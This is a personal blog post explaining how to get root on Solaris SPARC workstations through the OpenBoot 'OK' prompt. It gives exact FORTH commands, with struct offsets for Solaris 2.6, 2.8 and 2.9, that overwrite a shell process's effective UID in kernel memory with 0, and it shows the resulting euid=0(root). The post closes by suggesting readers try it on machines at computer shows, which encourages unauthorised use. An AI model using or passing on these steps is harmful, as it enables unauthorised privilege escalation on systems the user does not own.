sobrique: (Default)
[personal profile] sobrique


(This stuff was written for an UltraSparc 10 running Solaris 2.9. It will work as is on 64bit solaris 2.7 and 2.8 as well. For others, check the bottom, because the numbers change.)

I was reading through an article in one of the back issues of Phrack. It’s 53-09 if you’re interested.
Basically, if you’ve ever pressed a ‘break’ sequence on a sun keyboard, an ‘OK’ prompt pops up. Most interaction with this tends to be ‘boot’ or ‘go’ (to reboot or resume respectively).

The interesting bit is, that this OK prompt gives you the facility to directly view (and edit memory). See where this is going now?

Take a look at /usr/include/sys/proc.h
The bit we are interested in, is about line 56 (varies depending on OS version).

typedef struct	proc {
/*
* Fields requiring no explicit locking
*/
struct	vnode *p_exec;		/* pointer to a.out vnode */
struct	as *p_as;		/* process address space pointer */
struct	plock *p_lockp;		/* ptr to proc struct's mutex lock */
kmutex_t p_crlock;		/* lock for p_cred */
struct	cred	*p_cred;	/* process credentials */


It’s the process header. Basically, as we look through it, each of the ‘interesting’ bits of a process. Things like pid, priority, that sort of thing. Mostly pointers. The one that’s of interest here, is ‘cred’.

That’s the process credentials pointer. It refers to /usr/include/sys/cred.h. If we open this up, and take a look at about line 50, we see:

typedef struct cred {
uint_t	cr_ref;			/* reference count */
uid_t	cr_uid;			/* effective user id */
gid_t	cr_gid;			/* effective group id */
uid_t	cr_ruid;		/* real user id */
gid_t	cr_rgid;		/* real group id */
uid_t	cr_suid;		/* "saved" user id (from exec) */
gid_t	cr_sgid;		/* "saved" group id (from exec) */
uint_t	cr_ngroups;		/* number of groups in cr_groups */
gid_t	cr_groups[1];		/* supplementary group list */
} cred_t;


So here, we have a little bit of something interesting. The EUID of the process. I'm not going to explain about UIDs and EUIDs. If you don't know, then fire up your favourite search engine and find out. Suffice to say that UID is a user id. And the root user is always UID 0.

Now back to the FORTH. FORTH is a reverse polish notation language. (I use the term loosely :)) Basically, what that means, is that in order to do sums, you need to do them in "a b +" form (in order to do a + b). The reason for this is historical, and has to do with how a 'stack' works.

What we need to do, to play with FORTH, is find out a process memory address of a process that's of interest to us.

For example, our current shell. This is pretty easy to do. eg:
Just to make sure, we also grab the current UID and GID.

localhost[testuser]:[~]$ ps -o addr -p $$
	ADDR
	300017f3580
localhost[testuser]:[~]$ id
uid=1023(testuser), gid=1000(staff)
localhost[testuser]:[~]$

Let's write this down, because if you've ever messed with the 'OK' prompt, you'll know that it has a tendancy to corrupt the display.

OK. So looking at the 'proc.h' we see that the 'cred' entry is line 5. If you know a little C, you know that the 'struct' is pretty much a literal representation of what we have in memory. So _before_ 'cred' we have 3 'structs' and 1 kmutex_t. The former, are pointers, (so 64bit numbers, and thus 8 bytes). The latter, is also a 64 bit number (another 8 bytes). We see that the address for 'cred' should be 32 bytes indented from the start of the process.

Forth uses hex, so this is 0x20.
We can test this:
OK hex 300017f3580 20 + x@ .
30001781bd0
OK

Meaningless really. Another hex number. Basically, we're taking our start process, adding 32 to the address, and reading the '64 bits' from that point (that's what the x@ does. an l@ will read 32 bits, and w@ will read 8 bits). This gives us a number that _should_ be the offset for our process credentials.
Looking back to 'cred.h' we see that the EUID is line 2 of 'struct cred'. uint_t is an unsigned integer, which is a 32bit number. 4 bytes.
So back to the OK prompt:
ok hex 30001781bd0 4 + l@ .
3ff
ok

l@ this time, because we only want a 32bit, not a 64 bit. We get 3ff. Look back up to my UID. 1023. Which, is 0x3ff in hex. Ok, so we've read my euid. That's nice. Did that with the ID command. What we really want to do is _change_ it.
ok hex 0 30001781bd0 4 + l!
ok go

l! is 'write' 32 bits. In essence, this line says 'write a 0 to that address + 4 bytes'.
And that's it. We re-run the ID command to make sure that was right.
localhost[testuser]:[~]$ id
uid=1023(testuser), gid=1000(staff), euid=0(root)
localhost[testuser]:[~]$


Good eh?
As a trick to streamline, you can use:
ok hex 300017f3580 20 + x@ 4 + l@ .  (check)
3ff
ok hex 0 300017f3580 20 + x@ 4 + l!   (change)
ok

Solaris 2.8 32 bit:
hex 14 + l@ 4 + l@ .
hex 0 14 + l@ 4 + l!

In solaris 2.6 (32 bit):
hex 18 + l@ 4 + l@ .
hex 0 18 + l@ 4 + l!


Other combinations are left as an exercise to the reader. Just remember, different versions of the OS may have a slightly different proc header (solaris 2.6 does) also that a 32 bit os uses 32bits for memory, so 4 bytes instead of the 8 above.

Oh, and if when you type 'STOP-A' you get an 'Enter PROM password to continue:' type prompt, you're stuck. Without the PROM password, you cannot proceed here. And don't try guessing it, because it'll lock after 10 attempts...

The reason this works, is because setting a PROM password is like setting a BIOS password. It's not generally done at sites, because on a small site it's needlessly paranoid. At large sites it's a pain in the arse. With a little practice you should be able to pull this off in about 20 seconds. It can be _really_ entertaining to try next time you're at a computer show :)

This account has disabled anonymous posting.
If you don't have an account you can create one now.
HTML doesn't work in the subject.
More info about formatting

Profile

sobrique: (Default)
sobrique

December 2015

S M T W T F S
  12345
6789101112
13141516171819
20212223242526
2728 293031  

Most Popular Tags

Style Credit

Expand Cut Tags

No cut tags
Page generated Feb. 20th, 2026 07:23 pm
Powered by Dreamwidth Studios